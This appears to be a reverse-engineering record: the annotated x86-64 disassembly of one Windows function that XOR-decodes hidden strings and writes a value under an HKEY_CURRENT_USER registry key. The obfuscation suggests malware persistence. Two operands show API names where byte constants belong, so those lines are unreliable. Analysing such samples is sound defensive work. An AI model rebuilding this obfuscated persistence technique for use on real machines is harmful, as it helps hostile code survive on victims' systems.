Function at 0x140002a10
Capabilities:
Set registry value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
mov rbp, rsp
sub rsp, 0x80
mov rax, qword [0x1400826f8]
xor rax, rsp
mov qword [rbp - 8], rax
mov cl, 0x6d
mov byte [rbp - 0x20], ntohs
movzx r8d, cl
mov al, 0x66
mov dl, 0x7a
mov r9b, 0x7b
xor r8b, 0xc
xor r10d, r10d
xor al, 0xc
mov byte [rbp - 0x1c], r8b
xor cl, 0xc
mov byte [rbp - 0x1f], al
xor dl, 0xc
mov byte [rbp - 0x1e], cl
xor r9b, 0xc
mov byte [rbp - 0x1d], dl
mov byte [rbp - 0x1b], r9b
mov byte [rbp - 0x1a], r10b
call fcn.1400026d0
movdqa xmm1, xmmword [0x140079340]
mov cl, 0x46
movd r11d, xmm1
mov dl, 0x4d
movdqa xmm2, xmmword [0x140079350]
movdqa xmm0, xmm1
movdqu xmmword [rbp - 0x40], xmm2
xor byte [rbp - 0x3f], r11b
mov r8b, 0x57
xor byte [rbp - 0x3e], r11b
xor r8b, r11b
xor byte [rbp - 0x3d], r11b
movzx r10d, cl
xor byte [rbp - 0x3c], r11b
xor cl, r11b
xor byte [rbp - 0x3b], r11b
movzx r15d, dl
xor byte [rbp - 0x3a], r11b
xor dl, r11b
xor byte [rbp - 0x39], r11b
mov r9b, 0x75
xor byte [rbp - 0x38], r11b
mov bl, 0x51
xor byte [rbp - 0x37], r11b
mov dil, 0x50
xor byte [rbp - 0x36], r11b
mov sil, 0x4a
xor byte [rbp - 0x35], r11b
mov r14b, 0x4c
xor byte [rbp - 0x34], r11b
mov r12b, 0x7f
xor byte [rbp - 0x33], r11b
mov r13b, WSAStartup
xor byte [rbp - 0x32], r11b
xor byte [rbp - 0x31], r11b
movdqu xmmword [rbp - 0x50], xmm1
xor byte [rbp - 0x4e], r11b
xor byte [rbp - 0x4d], r11b
xor byte [rbp - 0x4c], r11b
xor byte [rbp - 0x4b], r11b
xor byte [rbp - 0x4a], r11b
xor byte [rbp - 0x49], r11b
xor byte [rbp - 0x48], r11b
xor byte [rbp - 0x47], r11b
xor byte [rbp - 0x46], r11b
xor byte [rbp - 0x45], r11b
xor byte [rbp - 0x44], r11b
xor byte [rbp - 0x43], r11b
xor byte [rbp - 0x42], r11b
xor byte [rbp - 0x41], r11b
mov qword [rbp - 0x18], rax
psrldq xmm0, 1
movd eax, xmm0
mov byte [rbp - 0x30], cl
mov byte [rbp - 0x2f], dl
xor al, r11b
mov byte [rbp - 0x2e], r8b
mov byte [rbp - 0x4f], al
movd eax, xmm2
xor al, r11b
mov byte [rbp - 0x40], al
xor r9b, r11b
mov al, 0x56
mov byte [rbp - 0x2d], r9b
xor al, r11b
mov byte [rbp - 0x22], 0
mov byte [rbp - 0x24], al
lea rdx, [rbp - 0x4f]
mov al, 0x4d
xor r10b, r11b
xor al, r11b
mov byte [rbp - 0x2c], r10b
mov byte [rbp - 0x23], al
xor bl, r11b
lea rax, [rbp - 0x10]
mov byte [rbp - 0x2b], bl
xor dil, r11b
mov qword [rsp + 0x20], rax
xor sil, r11b
mov byte [rbp - 0x2a], dil
xor r14b, r11b
mov byte [rbp - 0x29], sil
xor r15b, r11b
mov byte [rbp - 0x28], r14b
xor r12b, r11b
mov byte [rbp - 0x27], r15b
xor r13b, r11b
mov byte [rbp - 0x26], r12b
mov r9d, 0x20006
mov byte [rbp - 0x25], r13b
xor r8d, r8d
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x140002c19
mov rcx, qword [rbp - 0x18]
mov rax, 0xffffffffffffffff
nop dword [rax]
inc rax
cmp byte [rcx + rax], 0
jne 0x140002bf0
mov dword [rsp + 0x28], eax
lea rdx, [rbp - 0x1f]
mov qword [rsp + 0x20], rcx
mov r9d, 1
mov rcx, qword [rbp - 0x10]
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov rcx, qword [rbp - 0x10]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rcx, qword [rbp - 8]
xor rcx, rsp
call fcn.1400647e0
lea r11, [rsp + 0x80]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret